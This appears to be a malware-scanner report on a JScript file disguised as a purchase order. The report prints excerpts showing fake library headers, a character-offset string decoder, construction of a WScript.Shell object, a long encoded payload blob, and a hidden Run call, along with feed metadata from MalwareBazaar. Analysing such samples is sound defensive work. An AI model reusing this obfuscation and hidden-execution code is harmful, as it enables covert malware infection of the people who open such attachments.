AI
Obfuscated WSH payload execution
Local reference
Suspicious dependency
Inferred
Mal-ecule
O₂(AsC)H₃(Db₂OsPo₂)Md₂(Pt)
JScript byte-decoder stages an opaque WSH payload and runs it hidden: Purchase Order PO K 0158.js:0x0
Obfuscated JScript stages encoded values for hidden WSH execution: Purchase Order PO K 0158.js:0x0
| 1 | // module: route-dispatcher | JScript byte-decoder stages an opaque WSH payload and runs it hidden |
| 2 | // version: 2.1.17 | |
| 3 | // author: Lee Hyun | |
| 4 | // description: call stack — verify and flatten | |
| 5 | // license: MIT | |
| 6 | // created: 2020-06-05 | |
| 7 | ||
| 8 | // DataFormatter v1.0.16 | Apache-2.0 | NodeTools Foundation | |
| 9 | // OAuth2 helper and token management utility | |
| 10 | ||
| 11 | (function () { | |
| 12 | var v3159 = typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : this; | |
| 13 | ||
| 14 | var v7904 = { | |
| 15 | v5002: functi… |
| 50:30 | …3 = function (v2762) { | |
| 51 | var v700 = null; | |
| 52 | var v5914 = "qrdMbsfQWgIyaCSFDkznlVipwOxuGHRPhKeYAjoJmZLNBtEUvXcT"; | |
| 53 | var v5500 = v5914.substr(6,1)+v5914.charAt(1)+v5914.substr(38,1)+v5914.charAt(40)+v5914.substr(13,1)+v5914.charAt(32)+v5914.substr(12,1)+v5914.substr(1,1)+v5914.charAt(13)+v5914.charAt(38)+v5914.substr(2,1)+v5914.substr(34,1); | |
| 54 | function v4141(b, t) { return String[v5500]((b + 512 - t) & 255); } | JScript byte-decoder stages an opaque WSH payload and runs it hidden |
| 55 | function v9435(a) { | |
| 56 | var o = "", n = 0, t = 192, L = a.length; | |
| 57 | for (; n < L; n++) o += v4141(a[n], t); | |
| 58 | return o; | |
| 59 | } | |
| 60 | var v4239 = Function(v9435([50,37,52,53,50,46,224,23,19,35,50,41,48,52]))(); | Obfuscated JScript stages encoded values for hidden WSH execution |
| 61 | var v8299 = v4239[v9435([3,50,37,33,52,37,15,34,42,37,35,52])](v9435([23,19,35,50,41,48,52,238,19,40,37,44,44])); | |
| 62 | var v2255 = v8299[v9435([5,46,54,41,50,47,46,45,37,46,52])](v9435([16,50,47,35,37,51,51])); | |
| 63 | v2255("sbYDAb2xI57e0pQ") = ("TQpJYVZguW8vcSUXYKwIfztWxkB8xzDB+Si3yX7yr6voYKSKOqBxAM8qLxX0++qoO"+"vzdl8k5Yv1AXqPA3e94kZt2TfXNYQqb6fz/prY/4uHUJmL2mBU4xziPk96CWfsWVr0OOMSq"+"ezZSSpRBJXfKL6VqhkSzsKXF/rPu9c979O6D1G/CREP2YeNc7YBWNBul2c6"+"6Tegyp1olJUPlPWOL+E0NJWNx6yG4oekFxiiz62WOL"+"G2vHSqrOK26K/cch8LV… | Many long string literals concatenated in source |
| 207:660 | …0,51,40,37])+v9435([44,44,238,37,56,37,224,237,55,224,8,224,237,46,15,48])+v9435([224,237,46,47,14,41,224,237,226])); | |
| 208 | v8299[v9435([18,53,46])](v1408, 0, true); | JScript byte-decoder stages an opaque WSH payload and runs it hidden |
| 209 | v700 = v2762; | |
| 210 | return v700; | |
| 211 | }; | |
| 212 | ||
| 213 | function v4075() { var v6499 = new DataFormatter({}); return v6499.v783({}); } | |
| 214 | v4075(); | |
| 215 | ||
| 216 | v3159['DataFormatter'] = DataFormatter; | |
| 217 | }()); |
Objectives
Micro-behaviors
Metadata
Identity
| SHA-256 | 45dae9e40a7e94f5dbc5bd8a74b9fd03a481e33e279e5ef72720f21852e46297 |
|---|---|
| Filename | Purchase Order PO K 0158.js |
| Package | 45dae9e40a7e94f5dbc5bd8a74b9fd03a481e33e279e5ef72720f21852e46297 |
Origin
| Source | harvest |
|---|---|
| Feed | malwarebazaar |
| Ecosystem | javascript |
| Domain | abuse.ch |
Timeline
| First seen | 4 Aug 2026 08:35 UTC |
|---|---|
| First analyzed | 4 Aug 2026 13:52 UTC |
| Last analyzed | 4 Aug 2026 17:11 UTC |
| Last updated | 4 Aug 2026 17:11 UTC |
Labeling
| Label | bad |
|---|---|
| Label source | harvest |
| Traits version | 8a80c |
Not seeing what you expected? Let us know